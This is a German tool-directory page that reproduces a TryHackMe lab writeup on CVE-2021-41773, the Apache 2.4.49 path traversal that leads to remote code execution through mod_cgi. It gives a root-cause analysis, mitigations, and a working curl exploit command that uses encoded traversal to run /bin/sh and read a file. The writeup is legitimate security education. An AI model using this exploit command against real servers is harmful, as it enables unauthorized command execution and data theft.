Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-41773 — Ausführlicher Bericht über CVE-2021-41773 Apache Path Traversal und RCE-Ausnutzung mit Schritt-für-Schritt-Befehlen und Root-Cause-Analyse aus einer TryHackMe-Lab-Umgebung. | Kitploit
Tools/GitHubGitHub/johnwickakash12/cve-2021-41773
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFLernen & BildungLabs & Praxis
GitHubjohnwickakash12/cve-2021-41773

CVE-2021-41773

Ausführlicher Bericht über CVE-2021-41773 Apache Path Traversal und RCE-Ausnutzung mit Schritt-für-Schritt-Befehlen und Root-Cause-Analyse aus einer TryHackMe-Lab-Umgebung.

Repository anzeigen
3vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-41773 — Apache Path Traversal und RCE-Ausnutzung

Writeup des TryHackMe-Raums "Modern Web Stacks", der sich auf die Ausnutzung von CVE-2021-41773 konzentriert, einer Path-Traversal-Schwachstelle im Apache HTTP Server 2.4.49, die zu Remote-Code-Ausführung führt, wenn mod_cgi aktiviert ist.

Zusammenfassung

ElementDetails
SchwachstelleCVE-2021-41773 — Apache 2.4.49 Path Traversal / RCE
ZieldienstApache HTTP Server auf Port 8080
Anfällige VersionApache/2.4.49 (Unix)
GrundursacheFehlerhafte Normalisierungsreihenfolge in ap_normalize_path()
AuswirkungBeliebiges Dateilesen → Remote Code Execution über mod_cgi
Verwendete Toolscurl

Schwachstellenübersicht

Apache 2.4.49 hat geändert, wie ap_normalize_path() URLs verarbeitet. Apache soll jeden Anforderungspfad blockieren, der ../ enthält, bevor er das Dateisystem erreicht – aber der Traversal-Filter läuft bevor die vollständige URL-Decodierung stattfindet.

Das bedeutet, dass eine Anfrage mit der doppelt kodierten Sequenz .%2e/ vom Filter nicht als ../ erkannt wird. Sobald Apache den Pfad jedoch an das Betriebssystem übergibt, wird .%2e/ zu ../ aufgelöst, und der Traversal-Filter wurde bereits umgangen.

Für sich genommen erlaubt dies das beliebige Lesen von Dateien außerhalb des Web-Root. Die Auswirkung wird kritisch, wenn dies mit mod_cgi kombiniert wird: Wenn der Traversal-Pfad zu einer ausführbaren Datei wie /bin/sh innerhalb eines CGI-fähigen Verzeichnisses (z. B. /cgi-bin/) aufgelöst wird, führt Apache diese als CGI-Skript aus und übergibt den HTTP-POST-Body an seine STDIN – das ermöglicht Remote-Befehlsausführung.

Schritte

1. Bestätigen des anfälligen Server-Headers

Der Server-Antwortheader des Ziels wurde identifiziert als:

root@kitploit:~
Apache/2.4.49 (Unix)

Diese Version ist direkt von CVE-2021-41773 betroffen.

2. Verfügbarkeit von /cgi-bin/ prüfen

Die Anfrage an /cgi-bin/ ergab eine 403 Forbidden-Antwort (keine 404), was darauf hindeutet, dass das Verzeichnis existiert und mod_cgi wahrscheinlich aktiviert ist – eine Voraussetzung für RCE über dieses CVE.

3. Ausnutzen des Path Traversal für RCE

curl mit dem --path-as-is-Flag verwendet, um die kodierte Traversal-Sequenz genau so zu senden, wie sie eingegeben wurde, ohne dass curl sie clientseitig normalisiert:

root@kitploit:~
curl -s --path-as-is "http://<TARGET_IP>:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  --data 'echo Content-Type: text/plain; echo; cat /flag.txt'

Warum --path-as-is erforderlich ist: Standardmäßig normalisiert curl URLs und entfernt .%2e/-Sequenzen, bevor die Anfrage überhaupt gesendet wird. --path-as-is weist curl an, die URL genau so zu senden, wie sie geschrieben wurde, und bewahrt die kodierte Traversal, sodass sie unversehrt beim Server ankommt.

4. Die Flagge lesen

Das Payload traversierte aus /cgi-bin/ zum Root-Dateisystem, führte /bin/sh als CGI-Skript über den injizierten POST-Body aus und gab den Inhalt von /flag.txt zurück.

root@kitploit:~
Flag-Format bestätigt: THM{...}

(Flagge gemäß TryHackMe-Richtlinien für öffentliche Writeups geschwärzt.)

Wichtige Erkenntnisse

  • Die Reihenfolge von Patches ist entscheidend. Ein Sicherheitsfilter, der vor Abschluss der Decodierung ausgeführt wird, kann mit Kodierungstricks trivial umgangen werden – dieses genaue Muster (Filter-dann-Decodierung vs. Decodierung-dann-Filter) taucht bei vielen Traversal-CVEs auf, nicht nur bei diesem.
  • mod_cgi + Path Traversal = RCE. Alleiniges Dateilesen ist schlecht; kombiniert mit einem CGI-ausführbaren Verzeichnis wird daraus Befehlsausführung.
  • Das Verhalten von Werkzeugen ist beim Testen wichtig. Die Standard-URL-Normalisierung von curl kann das genaue Payload, das Sie senden möchten, stillschweigend 'korrigieren' – --path-as-is (oder ein entsprechendes Raw-Request-Tool) ist beim Testen von kodierungsbasierten Umgehungen unerlässlich.

Abhilfemaßnahmen

  • Aktualisieren Sie Apache auf 2.4.51 oder höher (behebt sowohl CVE-2021-41773 als auch das verwandte CVE-2021-42013).
  • Deaktivieren Sie mod_cgi, sofern nicht explizit erforderlich.
  • Wenden Sie das Prinzip der geringsten Privilegien auf den Webserver-Prozess an, um den Schadensbereich jeder Datei-Lese-Primitive zu begrenzen.

Referenzen

  • CVE-2021-41773 — NVD
  • TryHackMe — Modern Web Stacks room

Dieses Writeup dokumentiert eine Laborumgebung (TryHackMe). Es wurden keine unbefugten Systeme zugegriffen.

Tool herunterladen